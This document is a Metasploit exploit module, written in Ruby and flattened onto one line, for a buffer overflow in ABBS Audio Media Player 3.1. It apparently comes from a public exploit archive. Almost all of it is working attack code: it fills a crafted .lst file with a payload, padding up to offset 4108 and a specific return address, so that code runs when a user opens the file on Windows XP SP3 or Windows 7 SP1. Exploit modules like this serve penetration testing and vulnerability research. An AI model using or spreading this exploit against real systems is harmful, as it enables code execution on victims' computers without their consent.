ABBS Audio Media Player – ‘.LST’ Local Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'ABBS Audio Media Player .LST Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability occurs when adding an .lst, allowing arbitrary code execution with the privileges of the user running the application . This module has been tested successfully on ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Julian Ahrens', # Vulnerability discovery and PoC 'modpr0be <modpr0be[at]spentera.com>' # Metasploit module ], 'References' => [ [ 'OSVDB', '75096' ], [ 'EDB', '25204' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, }, 'Targets' => [ [ 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe 'Offset' => 4108, } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 30 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']), ], self.class) end def exploit buffer = payload.encoded buffer << rand_text(target['Offset'] - (payload.encoded.length)) buffer << [target.ret].pack('V') file_create(buffer) end end |